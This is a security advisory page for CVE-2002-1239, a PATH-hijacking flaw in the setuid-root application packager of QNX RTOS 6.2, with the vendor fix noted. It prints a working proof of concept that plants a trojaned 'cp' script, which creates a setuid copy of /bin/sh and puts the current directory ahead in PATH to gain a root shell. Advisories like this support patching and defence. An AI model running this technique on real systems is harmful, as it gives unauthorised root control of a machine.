QNX RTOS Application Packager Non-Explicit Path Execution Vulnerability

BID:6146

Info

QNX RTOS Application Packager Non-Explicit Path Execution Vulnerability

Bugtraq ID: 6146
Class: Environment Error
CVE: CVE-2002-1239
Remote: Yes
Local: No
Published: Nov 08 2002 12:00AM
Updated: Jul 11 2009 06:07PM
Credit: Discovery credited to Texonet (http://www.texonet.com).
Vulnerable: QNX RTOS 6.2
Not Vulnerable:

Discussion

QNX RTOS Application Packager Non-Explicit Path Execution Vulnerability

A vulnerability has been discovered in an application packager shipped with QNX RTOS. It should be noted that the vulnerable packager is installed setuid root by default.

It has been reported that the packager fails to use absolute paths to execute system commands. This could potentially allow an attacker to trick the program into running a trojaned binary.

Because the vulnerable packager is installed setuid root by default, this could allow a local attacker to take complete control over a system.

Exploit / POC

QNX RTOS Application Packager Non-Explicit Path Execution Vulnerability

The following proof of concept has been supplied by iDEFENSE.

$ cat > cp <<EOF
> #!/bin/sh
> /bin/cp /bin/sh /tmp/sh
> chmod 4755 /tmp/sh
> EOF
$ chmod 755 cp

The attacker then modifies the PATH environment variable to search
the current working directory before anything else:

$ PATH=$PWD:$PATH

The attacker now creates a directory and calls the packager on that
created directory:

$ mkdir temp
$ packager temp
...

The packager will ask a number of questions. When the procedure is
complete, a root shell will be waiting for the attacker:

$ ls -l /tmp/sh
- -rwsr-x r-x 1 root 100 153908 May 11 05:36 /tmp/sh

Solution / Fix

QNX RTOS Application Packager Non-Explicit Path Execution Vulnerability

Solution:
This issue is said to be addressed in the upcoming QNX RTOS 6.2.1 which is expected to be released in January 2003. Concerned customers are advised to contact their QNX representative for information for obtaining a prerelease.

References

QNX RTOS Application Packager Non-Explicit Path Execution Vulnerability

References:

© CVE.report 2026

Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. It is the responsibility of user to evaluate the accuracy, completeness or usefulness of any information, opinion, advice or other content. EACH USER WILL BE SOLELY RESPONSIBLE FOR ANY consequences of his or her direct or indirect use of this web site. ALL WARRANTIES OF ANY KIND ARE EXPRESSLY DISCLAIMED. This site will NOT BE LIABLE FOR ANY DIRECT, INDIRECT or any other kind of loss.

CVE, CWE, and OVAL are registred trademarks of The MITRE Corporation and the authoritative source of CVE content is MITRE's CVE web site. This site includes MITRE data granted under the following license.

Free CVE JSON API cve.report/api

CVE.report and Source URL Uptime Status status.cve.report